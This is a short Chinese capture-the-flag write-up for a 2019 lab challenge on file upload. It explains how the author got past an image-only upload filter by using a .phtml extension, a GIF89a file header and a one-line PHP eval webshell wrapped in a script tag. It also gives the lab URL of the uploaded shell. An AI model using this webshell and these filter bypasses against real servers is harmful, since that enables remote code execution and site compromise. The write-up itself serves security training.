[极客大挑战 2019]Upload
知识点
- 上传phtml文件
- 嵌在script标签中的一句话木马
- content-type的修改
- 请求体中的添加文件头
过程
主页就是上传点,先上传一个正常的shell.php文件
发现只能上传image,bp抓包依次尝试文件后缀名修改,content-type修改、文件名%00截断,添加文件头都失败
然后更改文件名为xx.phtml,,phtml是嵌入了php代码的html文件,尝试上传,请求体中的内容仍然是普通的一句话木马文件
检测到<?
请求体中的内容需要更改为:
<script language="php">eval($_POST['shell']);</script>
仍然不行,所以修改继续在请求头中添加一项
GIF89a
<script language="php">eval($_POST['shell']);</script>
上传成功,用后门软件连接即可,链接地址经过测试在:
http://eb74e5c1-2c38-4013-8035-e32ba42d81a4.node4.buuoj.cn/upload/shell.phtml